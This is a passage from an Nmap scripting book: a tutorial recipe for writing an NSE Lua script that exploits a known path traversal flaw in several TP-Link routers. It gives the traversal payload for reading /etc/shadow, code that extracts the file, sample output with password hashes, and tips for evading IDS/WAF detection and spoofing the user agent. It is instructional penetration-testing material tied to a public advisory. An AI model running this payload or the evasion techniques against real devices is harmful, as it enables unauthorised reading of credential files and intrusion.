Exploiting a path traversal vulnerability with NSE

Path traversal vulnerabilities exists in many web applications. Nmap NSE gives penetration testers the ability to quickly write scripts to exploit them. Lua also supports string captures, which help a lot when extracting information using patterns with a simpler syntax than regular expressions.

This recipe will teach you how to write an NSE script to exploit a path traversal vulnerability existing in some models of TP-Link routers.

How to do it...

We will write an NSE script that exploits a path traversal vulnerability in several TP-Link routers. We will take advantage of a few NSE libraries and Lua's string library:

  1. Create the file http-tplink-dir-traversal.nse and complete the NSE information tags:
    description = [[
    Exploits a directory traversal vulnerability existing in several TP-Link wireless routers. Attackers may exploit this vulnerability to read any of the configuration and password files remotely and without authentication.
    
    This vulnerability was confirmed in models WR740N, WR740ND and WR2543ND but there are several models that use the same HTTP server so I believe they could be vulnerable as well. I appreciateany help confirming the vulnerability in other models.
    
    Advisory:
    * http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740
    
    Other interesting files:
    * /tmp/topology.cnf (Wireless configuration)
    * /tmp/ath0.ap_bss (Wireless encryption key)
    ]]
  2. Load the required libraries (Nmap 6.x format):
    local http = require "http"
    local io = require "io"
    local shortport = require "shortport"
    local stdnse = require "stdnse"
    local string = require "string"
    local vulns = require "vulns"
  3. Define the execution rule with some help of the shortport library:
    portrule = shortport.http
  4. Write a function to send the path traversal request and determine if the web application is vulnerable:
    local function check_vuln(host, port)
      local evil_uri = "/help/../../etc/shadow"
      stdnse.print_debug(1, "%s:HTTP GET %s", SCRIPT_NAME, evil_uri)
      local response = http.get(host, port, evil_uri)
      if response.body and response.status==200 and response.body:match("root:") then
        stdnse.print_debug(1, "%s:Pattern 'root:' found.", SCRIPT_NAME, response.body)
        return true
      end
      return false
    end
  5. Read and parse the file out of the response with some help of a Lua capture (.*):
    local _, _, rfile_content = string.find(response.body, 'SCRIPT>(.*)')
  6. Finally, execute the script with the following command:
    $ nmap -p80 --script http-tplink-dir-traversal.nse <target>
    

A vulnerable device will produce the following output:

-- @output
-- PORT   STATE SERVICE REASON
-- 80/tcp open  http    syn-ack
-- | http-tplink-dir-traversal:
-- |   VULNERABLE:
-- |   Path traversal vulnerability in several TP-Link wireless routers
-- |     State: VULNERABLE (Exploitable)
-- |     Description:
-- |       Some TP-Link wireless routers are vulnerable to a path traversal vulnerability that allows attackers to read configurations or any other file in the device.
-- |       This vulnerability can be exploited remotely and without authentication.
-- |       Confirmed vulnerable models: WR740N, WR740ND, WR2543ND
-- |       Possibly vulnerable (Based on the same firmware): WR743ND,WR842ND,WA-901ND,WR941N,WR941ND,WR1043ND,MR3220,MR3020,WR841N.
-- |     Disclosure date: 2012-06-18
-- |     Extra information:
-- |       /etc/shadow :
-- |   
-- |   root:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
-- |   Admin:$1$$zdlNHiCDxYDfeF4MZL.H3/:10933:0:99999:7:::
-- |   bin::10933:0:99999:7:::
-- |   daemon::10933:0:99999:7:::
-- |   adm::10933:0:99999:7:::
-- |   lp:*:10933:0:99999:7:::
-- |   sync:*:10933:0:99999:7:::
-- |   shutdown:*:10933:0:99999:7:::
-- |   halt:*:10933:0:99999:7:::
-- |   uucp:*:10933:0:99999:7:::
-- |   operator:*:10933:0:99999:7:::
-- |   nobody::10933:0:99999:7:::
-- |   ap71::10933:0:99999:7:::
-- |   
-- |     References:
-- |_      http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740

How it works...

The script http-tplink-dir-traversal.nse performs the following tasks to exploit the discussed path traversal vulnerability:

  1. First, it sends a path traversal request to determine if an installation is vulnerable.
  2. If the installation is vulnerable, extract the requested file out of the response sent by the web server.
  3. Report the vulnerability to the user and provide the proof of concept.

In this case, the library http was required to send the HTTP request containing the path traversal payload. To determine if the device is vulnerable, we request the file /etc/shadow, because we know this file exists in all of the devices, and a root account must exist in it:

local response = http.get(host, port, "/help/../../../etc/shadow")

The response should contain the requested file inside its body, after the closing script tag </SCRIPT>:

How it works...

To confirm exploitability we only need to match the response body to the string "root:":

if response.body and response.status==200 and response.body:match("root:") then
    stdnse.print_debug(1, "%s:Pattern 'root:' found.", SCRIPT_NAME, response.body)
    return true
  end

Lua captures allow developers to extract strings matching the given patterns. They are very helpful and I highly recommend that you play around with them (http://www.lua.org/pil/20.3.html):

local _, _, rfile_content = string.find(response.body, 'SCRIPT>(.*)')

Once we confirm the vulnerability, it is recommended to report it using the library vulns. This library was created to unify the output format used by the various NSE scripts. It supports several fields to provide all of the vulnerability details in an organized manner:

local vuln = {
       title = 'Path traversal vulnerability in several TP-Link wireless routers',
       state = vulns.STATE.NOT_VULN,
       description = [[
Some TP-Link wireless routers are vulnerable to a path traversal vulnerability that allows attackers to read configurations or any other file in the device.
This vulnerability can be exploited without authentication.Confirmed vulnerable models: WR740N, WR740ND, WR2543ND
Possibly vulnerable (Based on the same firmware): WR743ND,WR842ND,WA-901ND,WR941N,WR941ND,WR1043ND,MR3220,MR3020,WR841N.]],
       references = {
           'http://websec.ca/advisories/view/path-traversal-vulnerability-tplink-wdr740'
       },
       dates = {
           disclosure = {year = '2012', month = '06', day = '18'},       },
  }
  local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)

The following states are defined in the vulns library:

STATE_MSG = {
  [STATE.LIKELY_VULN] = 'LIKELY VULNERABLE',
  [STATE.NOT_VULN] = 'NOT VULNERABLE',
  [STATE.VULN] = 'VULNERABLE',
  [STATE.DoS] = 'VULNERABLE (DoS)',
  [STATE.EXPLOIT] = 'VULNERABLE (Exploitable)',
  [bit.bor(STATE.DoS,STATE.VULN)] = 'VUNERABLE (DoS)',
  [bit.bor(STATE.EXPLOIT,STATE.VULN)] = 'VULNERABLE (Exploitable)',
}

To return the vulnerability report, use make_output(vuln). This function will return a vulnerability report if the state was set to anything except vulns.STATE.NOT_VULN:

local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
local vuln = { title = "VULN TITLE", ...}
…
vuln.state = vulns.STATE.EXPLOIT
…
vuln_report:make_output(vuln)

Check the script output from the previous example to see what a vulnerability report looks like when using the NSE library vulns. Visit the official documentation of the library to learn more about the possible report fields and their usage: http://nmap.org/nsedoc/lib/vulns.html.

There's more...

When writing NSE scripts to exploit path traversal vulnerabilities, remember that IPS/IDS vendors will create patches to identify your detection probes. If possible, I recommend you use the stealthiest encoding scheme supported. In the previous example, no other encoding was read correctly in the application and we had no choice but to use the well known pattern "../" which will be detected by any decent WAF/IPS/IDS.

I recommend the tool Dotdotpwn (http://dotdotpwn.blogspot.com/) and its module payload to locate obscure encodings when exploiting path traversal vulnerabilities. Ideally, you could also write a small function that randomly uses a different path traversal pattern with each request:

local traversals = {"../", "%2f"}

Debugging NSE scripts

If something unexpected happens, turn on debugging to get additional information. Nmap uses the flag -d for debugging and you can set any integer between 0 and 9:

$ nmap -p80 --script http-google-email -d4 <target>

Setting the user agent pragmatically

There are some packet filtering products that block requests using Nmap's default HTTP user agent. You can use a different user agent value by setting the argument http.useragent:

$ nmap -p80 --script http-sqli-finder --script-args http.useragent="Mozilla 42" <target>

To set the user agent in your NSE script you can pass the header field:

options = {header={}}
options['header']['User-Agent'] = "Mozilla/9.1 (compatible; Windows NT 5.0 build 1420;)"
local req = http.get(host, port, uri, options)

HTTP pipelining

Some web server configurations support encapsulation of more than one HTTP request in a single packet. This may speed up the execution of an NSE HTTP script and it is recommended that you use it if the web server supports it. The http library, by default, tries to pipeline 40 requests and automatically adjusts that number according to the network conditions and the Keep-Alive header.

Users will need to set the script argument http.pipeline to adjust this value:

$ nmap -p80 --script http-methods --script-args http.pipeline=25 <target>

To implement HTTP pipelining in your NSE scripts, use the functions http.pipeline_add() and http.pipeline(). First, initiate a variable that will hold the requests:

local reqs = nil

Add requests to the pipeline with http.pipeline_add():

reqs = http.pipeline_add('/Trace.axd', nil, reqs)
reqs = http.pipeline_add('/trace.axd', nil, reqs)
reqs = http.pipeline_add('/Web.config.old', nil, reqs)

When you have finished adding requests, execute the pipe with http.pipeline():

local results = http.pipeline(target, 80, reqs)

The variable results will contain the number of response objects added to the HTTP request queue. To access them, you can simply iterate through the object:

for i, req in pairs(results) do
  stdnse.print_debug(1, "Request #%d returned status %d", I, req.status)
end

See also

  • The Making HTTP requests to identify vulnerable Trendnet webcams recipe
  • The Sending UDP payloads by using NSE sockets recipe
  • The Detecting web application firewalls recipe Chapter 4, Auditing Web Servers
  • The Detecting possible XST vulnerabilities recipe Chapter 4, Auditing Web Servers
  • The Writing a brute force script recipe
  • The Working with the web crawling library recipe
  • The Reporting vulnerabilities correctly in NSE scripts recipe
..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.14.15.94